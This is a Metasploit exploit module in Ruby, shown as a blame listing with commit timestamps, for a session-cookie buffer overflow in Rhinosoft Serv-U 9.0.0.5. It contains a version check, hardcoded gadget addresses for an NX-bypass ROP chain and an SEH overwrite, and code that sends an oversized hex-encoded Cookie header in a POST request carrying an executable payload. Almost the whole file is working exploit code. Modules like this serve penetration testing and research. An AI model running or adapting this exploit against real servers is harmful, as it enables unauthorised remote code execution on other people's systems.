2009-11-09 04:27:30 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-03-10 05:58:01 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-11-09 04:27:30 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-11-09 04:27:30 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-11-09 04:27:30 +00:00
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2009-11-09 04:27:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-03-10 05:58:01 +00:00
|
|
|
super(update_info(info,
|
2009-11-09 04:27:30 +00:00
|
|
|
'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
|
2010-03-10 05:58:01 +00:00
|
|
|
Sending a specially crafted POST request with an overly long session cookie
|
|
|
|
string, an attacker may be able to execute arbitrary code.
|
2009-11-09 04:27:30 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2009-11-09 05:55:50 +00:00
|
|
|
'Nikolas Rangos <nikolaos[at]rangos.de>',
|
2010-03-10 05:58:01 +00:00
|
|
|
'M.Yanagishita <megumi1990[at]gmail.com>',
|
2009-11-09 05:55:50 +00:00
|
|
|
'jduck'
|
2009-11-09 04:27:30 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-03-10 05:58:01 +00:00
|
|
|
[ 'CVE', '2009-4006' ], # unsure
|
2009-11-09 05:55:50 +00:00
|
|
|
[ 'OSVDB', '59772' ],
|
2009-11-09 04:27:30 +00:00
|
|
|
[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
|
|
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2009-11-10 20:03:57 +00:00
|
|
|
'EXITFUNC' => 'thread',
|
2009-11-09 04:27:30 +00:00
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2009-11-10 20:03:57 +00:00
|
|
|
'Space' => 512,
|
2009-11-09 04:27:30 +00:00
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
|
2009-11-09 04:31:02 +00:00
|
|
|
'StackAdjustment' => -4096,
|
2009-11-09 04:27:30 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-03-10 05:58:01 +00:00
|
|
|
'Targets' =>
|
2009-11-09 04:27:30 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2003 SP2 English (NX)',
|
|
|
|
{
|
2009-11-23 07:37:54 +00:00
|
|
|
'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
|
|
|
|
'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
|
2009-11-09 04:27:30 +00:00
|
|
|
'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll
|
2009-11-23 07:37:54 +00:00
|
|
|
'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
|
|
|
|
'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
|
|
|
|
'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll
|
2009-11-09 04:27:30 +00:00
|
|
|
}
|
|
|
|
],
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
[ 'Windows 2000 SP4 and XP SP3 English (SEH)',
|
2009-11-10 20:03:57 +00:00
|
|
|
{
|
2009-11-23 07:37:54 +00:00
|
|
|
'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll
|
2009-11-10 20:03:57 +00:00
|
|
|
}
|
|
|
|
],
|
2009-11-09 04:27:30 +00:00
|
|
|
],
|
2009-11-10 20:03:57 +00:00
|
|
|
|
2009-12-03 00:04:33 +00:00
|
|
|
'DefaultTarget' => 1,
|
2009-11-09 04:27:30 +00:00
|
|
|
'DisclosureDate' => 'Nov 1 2009'))
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-09 04:27:30 +00:00
|
|
|
register_options( [ Opt::RPORT(80) ], self.class )
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2009-11-23 07:37:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
sock.put("\r\n\r\n") # works
|
|
|
|
res = sock.get(-1,3)
|
|
|
|
disconnect
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-23 07:37:54 +00:00
|
|
|
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
elsif (res =~ /Server: Serv-U/)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2009-11-10 20:03:57 +00:00
|
|
|
|
2009-11-23 07:37:54 +00:00
|
|
|
def exploit
|
2009-11-09 04:27:30 +00:00
|
|
|
# hit end of stack..
|
2009-11-09 05:55:50 +00:00
|
|
|
sploit = Rex::Text.rand_text(1000) * 75
|
2009-11-10 20:03:57 +00:00
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
if (target.name =~ /NX/)
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-10 20:03:57 +00:00
|
|
|
# new SEH handler (point esp into buffer)
|
|
|
|
sploit[41000,4] = [target['FixESP']].pack('V')
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-10 20:03:57 +00:00
|
|
|
# stack frame to bypass NX
|
|
|
|
sploit[52+0,4] = [target['FixESI']].pack('V')
|
|
|
|
sploit[52+4,4] = [0x10200].pack('V')
|
|
|
|
sploit[52+8,4] = [target['FixEBP']].pack('V')
|
|
|
|
sploit[52+12,4] = [target['Ret']].pack('V')
|
|
|
|
sploit[52+16,4] = [target['JmpESP']].pack('V')
|
|
|
|
sploit[52+20,4] = [target['DisableNX']].pack('V')
|
|
|
|
sploit[52+24,2] = "\xeb\x20"
|
|
|
|
sploit[52+40,payload.encoded.length] = payload.encoded
|
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
else
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
seh = generate_seh_record(target.ret)
|
|
|
|
sploit[40996,seh.length] = seh
|
2009-11-10 20:03:57 +00:00
|
|
|
sploit[41004,payload.encoded.length] = payload.encoded
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-21 17:44:09 +00:00
|
|
|
end
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-09 04:27:30 +00:00
|
|
|
req = "POST / HTTP/1.1\r\n"
|
|
|
|
req << "Host: #{rhost}:#{rport}\r\n"
|
2009-11-10 20:03:57 +00:00
|
|
|
req << "Cookie: Session=_"
|
2009-11-09 05:55:50 +00:00
|
|
|
req << sploit.unpack('H*')[0]
|
|
|
|
req << "\r\n"
|
|
|
|
req << "\r\n";
|
2009-11-09 04:27:30 +00:00
|
|
|
|
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}..." % target['Ret'])
|
|
|
|
sock.put(req)
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2009-11-09 05:55:50 +00:00
|
|
|
select(nil, nil, nil, 1.5)
|
2009-11-09 04:27:30 +00:00
|
|
|
handler
|
2009-11-23 07:37:54 +00:00
|
|
|
disconnect
|
2010-03-10 05:58:01 +00:00
|
|
|
end
|
|
|
|
|
2009-11-09 04:27:30 +00:00
|
|
|
end
|